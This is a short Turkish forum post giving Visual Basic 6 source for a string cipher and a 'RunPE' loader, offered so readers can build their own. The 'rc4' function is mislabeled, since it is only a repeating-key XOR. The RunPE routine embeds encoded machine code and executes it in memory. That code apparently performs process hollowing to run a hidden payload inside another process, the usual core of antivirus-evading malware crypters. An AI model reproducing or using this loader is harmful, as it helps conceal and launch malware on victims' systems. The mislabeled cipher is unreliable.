bu sade kodlar ile kendi rc4 ve runpenizi oluştura bilirsiniz kodlar basittir internetten bulduğum kodu sadeleştirdim zaten bende böyle öğrenmiştim
rc4
runpe
rc4
Kod:
Function çağırmakodu(değişken1 As String, değişken2 As String) As String
Dim değişken3() As Byte
Dim değişken4() As Byte
Dim değişken5 As Long
Dim değişken6 As Long
Dim değişken7 As Long
Dim değişken8 As Long
değişken4() = StrConv(değişken1, vbFromUnicode)
değişken3() = StrConv(değişken2, vbFromUnicode)
değişken7 = UBound(değişken3)
değişken8 = UBound(değişken4)
Do Until değişken5 > değişken7
değişken4(değişken5) = değişken4(değişken6) Xor değişken3(değişken6)
değişken6 = değişken6 + 1
If değişken6 > değişken8 Then değişken6 = 0
değişken5 = değişken5 + 1
Loop
Erase değişken3
çağırmakodu = StrConv(değişken4, vbUnicode)
Erase değişken4
End Function
runpe
Kod:
Private Declare Function CallWindowProcW Lib "user32" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Sub runpe_çagırmakodu(ByVal degişken1 As String, degişken2() As Byte)
Dim değişken3 As String
değişken3 = değişken3 & "96HC232HC78HC0HC0HC0HC107HC0HC101HC0HC114HC0HC110HC0HC101HC0HC108HC0HC51HC0HC50HC0HC0HC0HC110HC0HC116HC0HC100HC0HC108HC0HC108HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC0HC91HC139HC252HC106HC66HC232HC187HC3HC0HC0HC139HC84HC36HC40HC137HC17HC139HC84HC36HC44HC106HC62HC232HC170HC3HC0HC0HC137HC17HC106HC74HC232HC161HC3HC0HC0HC137HC57HC106HC30HC106HC60HC232HC157HC3HC0HC0HC106HC34HC104HC244HC0HC0HC0HC232HC145HC3HC0HC0HC106HC38HC106HC36HC232HC136HC3HC0HC0HC106HC42HC106HC64HC232HC127HC3HC0HC0"
değişken3 = değişken3 & "HC106HC46HC106HC12HC232HC118HC3HC0HC0HC106HC50HC104HC200HC0HC0HC0HC232HC106HC3HC0HC0HC106HC42HC232HC92HC3HC0HC0HC139HC9HC199HC1HC68HC0HC0HC0HC106HC18HC232HC77HC3HC0HC0HC104HC91HC232HC20HC207HC81HC232HC121HC3HC0HC0HC106HC62HC232HC59HC3HC0HC0HC139HC209HC106HC30HC232HC50HC3HC0HC0HC106HC64HC255HC50HC255HC49HC255HC208HC106HC18HC232HC35HC3HC0HC0HC104HC91HC232HC20HC207HC81HC232HC79HC3HC0HC0HC106HC30HC232HC17HC3HC0HC0HC139HC9HC139HC81HC60HC106HC62HC232HC5HC3HC0HC0HC139HC57HC3HC250HC106HC34HC232HC250HC2HC0HC0HC139HC9HC104HC248HC0HC0HC0HC87HC81HC255HC208HC106HC0HC232HC232HC2HC0HC0HC104HC136HC254HC179HC22HC81HC232HC20HC3HC0HC0HC106HC46HC232HC214HC2HC0"
değişken3 = değişken3 & "HC0HC139HC57HC106HC42HC232HC205HC2HC0HC0HC139HC17HC106HC66HC232HC196HC2HC0HC0HC87HC82HC106HC0HC106HC0HC106HC4HC106HC0HC106HC0HC106HC0HC106HC0HC255HC49HC255HC208HC106HC18HC232HC169HC2HC0HC0HC104HC208HC55HC16HC242HC81HC232HC213HC2HC0HC0HC106HC34HC232HC151HC2HC0HC0HC139HC17HC106HC46HC232HC142HC2HC0HC0HC139HC9HC255HC114HC52HC255HC49HC255HC208HC106HC0HC232HC126HC2HC0HC0HC104HC156HC149HC26HC110HC81HC232HC170HC2HC0HC0HC106HC34HC232HC108HC2HC0HC0HC139HC17HC139HC57HC106HC46HC232HC97HC2HC0HC0HC139HC9HC106HC64HC104HC0HC48HC0HC0HC255HC114HC80HC255HC119HC52HC255HC49HC255HC208HC106HC54HC232HC71HC2HC0HC0HC139HC209HC106HC34HC232HC62HC2HC0HC0HC139HC57HC106HC62HC232HC53HC2HC0"
değişken3 = değişken3 & "HC0HC139HC49HC106HC34HC232HC44HC2HC0HC0HC139HC1HC106HC46HC232HC35HC2HC0HC0HC139HC9HC82HC255HC119HC84HC86HC255HC112HC52HC255HC49HC106HC0HC232HC16HC2HC0HC0HC104HC161HC106HC61HC216HC81HC232HC60HC2HC0HC0HC131HC196HC12HC255HC208HC106HC18HC232HC249HC1HC0HC0HC104HC91HC232HC20HC207HC81HC232HC37HC2HC0HC0HC106HC34HC232HC231HC1HC0HC0HC139HC17HC131HC194HC6HC106HC58HC232HC219HC1HC0HC0HC106HC2HC82HC81HC255HC208HC106HC54HC232HC206HC1HC0HC0HC199HC1HC0HC0HC0HC0HC184HC40HC0HC0HC0HC106HC54HC232HC188HC1HC0HC0HC247HC33HC106HC30HC232HC179HC1HC0HC0HC139HC17HC139HC82HC60HC129HC194HC248HC0HC0HC0HC3HC208HC106HC62HC232HC159HC1HC0HC0HC3HC17HC106HC38HC232HC150HC1HC0HC0HC106"
değişken3 = değişken3 & "HC40HC82HC255HC49HC106HC18HC232HC138HC1HC0HC0HC104HC91HC232HC20HC207HC81HC232HC182HC1HC0HC0HC131HC196HC12HC255HC208HC106HC38HC232HC115HC1HC0HC0HC139HC57HC139HC9HC139HC113HC20HC106HC62HC232HC101HC1HC0HC0HC3HC49HC106HC38HC232HC92HC1HC0HC0HC139HC9HC139HC81HC12HC106HC34HC232HC80HC1HC0HC0HC139HC9HC3HC81HC52HC106HC70HC232HC68HC1HC0HC0HC139HC193HC106HC46HC232HC59HC1HC0HC0HC139HC9HC80HC255HC119HC16HC86HC82HC255HC49HC106HC0HC232HC42HC1HC0HC0HC104HC161HC106HC61HC216HC81HC232HC86HC1HC0HC0HC131HC196HC12HC255HC208HC106HC54HC232HC19HC1HC0HC0HC139HC17HC131HC194HC1HC137HC17HC106HC58HC232HC5HC1HC0HC0HC139HC9HC59HC202HC15HC133HC51HC255HC255HC255HC106HC50HC232HC244HC0HC0HC0"
değişken3 = değişken3 & "HC139HC9HC199HC1HC7HC0HC1HC0HC106HC0HC232HC229HC0HC0HC0HC104HC210HC199HC167HC104HC81HC232HC17HC1HC0HC0HC106HC50HC232HC211HC0HC0HC0HC139HC17HC106HC46HC232HC202HC0HC0HC0HC139HC9HC82HC255HC113HC4HC255HC208HC106HC34HC232HC187HC0HC0HC0HC139HC57HC131HC199HC52HC106HC50HC232HC175HC0HC0HC0HC139HC49HC139HC182HC164HC0HC0HC0HC131HC198HC8HC106HC46HC232HC157HC0HC0HC0HC139HC17HC106HC70HC232HC148HC0HC0HC0HC81HC106HC4HC87HC86HC255HC50HC106HC0HC232HC134HC0HC0HC0HC104HC161HC106HC61HC216HC81HC232HC178HC0HC0HC0HC131HC196HC12HC255HC208HC106HC34HC232HC111HC0HC0HC0HC139HC9HC139HC81HC40HC3HC81HC52HC106HC50HC232HC96HC0HC0HC0HC139HC9HC129HC193HC176HC0HC0HC0HC137HC17HC106HC0HC232"
değişken3 = değişken3 & "HC79HC0HC0HC0HC104HC211HC199HC167HC232HC81HC232HC123HC0HC0HC0HC106HC50HC232HC61HC0HC0HC0HC139HC209HC106HC46HC232HC52HC0HC0HC0HC139HC9HC255HC50HC255HC113HC4HC255HC208HC106HC0HC232HC36HC0HC0HC0HC104HC136HC63HC74HC158HC81HC232HC80HC0HC0HC0HC106HC46HC232HC18HC0HC0HC0HC139HC9HC255HC113HC4HC255HC208HC106HC74HC232HC4HC0HC0HC0HC139HC33HC97HC195HC139HC203HC3HC76HC36HC4HC195HC106HC0HC232HC242HC255HC255HC255HC104HC84HC202HC175HC145HC81HC232HC30HC0HC0HC0HC106HC64HC104HC0HC16HC0HC0HC255HC116HC36HC24HC106HC0HC255HC208HC255HC116HC36HC20HC232HC207HC255HC255HC255HC137HC1HC131HC196HC16HC195HC232HC34HC0HC0HC0HC104HC164HC78HC14HC236HC80HC232HC75HC0HC0HC0HC131HC196HC8HC255HC116HC36HC4"
değişken3 = değişken3 & "HC255HC208HC255HC116HC36HC8HC80HC232HC56HC0HC0HC0HC131HC196HC8HC195HC85HC82HC81HC83HC86HC87HC51HC192HC100HC139HC112HC48HC139HC118HC12HC139HC118HC28HC139HC110HC8HC139HC126HC32HC139HC54HC56HC71HC24HC117HC243HC128HC63HC107HC116HC7HC128HC63HC75HC116HC2HC235HC231HC139HC197HC95HC94HC91HC89HC90HC93HC195HC85HC82HC81HC83HC86HC87HC139HC108HC36HC28HC133HC237HC116HC67HC139HC69HC60HC139HC84HC40HC120HC3HC213HC139HC74HC24HC139HC90HC32HC3HC221HC227HC48HC73HC139HC52HC139HC3HC245HC51HC255HC51HC192HC252HC172HC132HC192HC116HC7HC193HC207HC13HC3HC248HC235HC244HC59HC124HC36HC32HC117HC225HC139HC90HC36HC3HC221HC102HC139HC12HC75HC139HC90HC28HC3HC221HC139HC4HC139HC3HC197HC95HC94HC91HC89HC90HC93HC195HC195HC0HC0HC0HC0"
Dim değişken4() As Byte
Dim değişken5() As String
değişken5 = Split(değişken3, "HC")
ReDim değişken4(UBound(değişken5)) As Byte
Dim i As Long
For i = 0 To UBound(değişken5)
değişken4(i) = CByte("&" & "H" & Hex(değişken5(i)))
Next i
CallWindowProcW VarPtr(değişken4(0)), StrPtr(degişken1), VarPtr(degişken2(0)), 0, 0
End Sub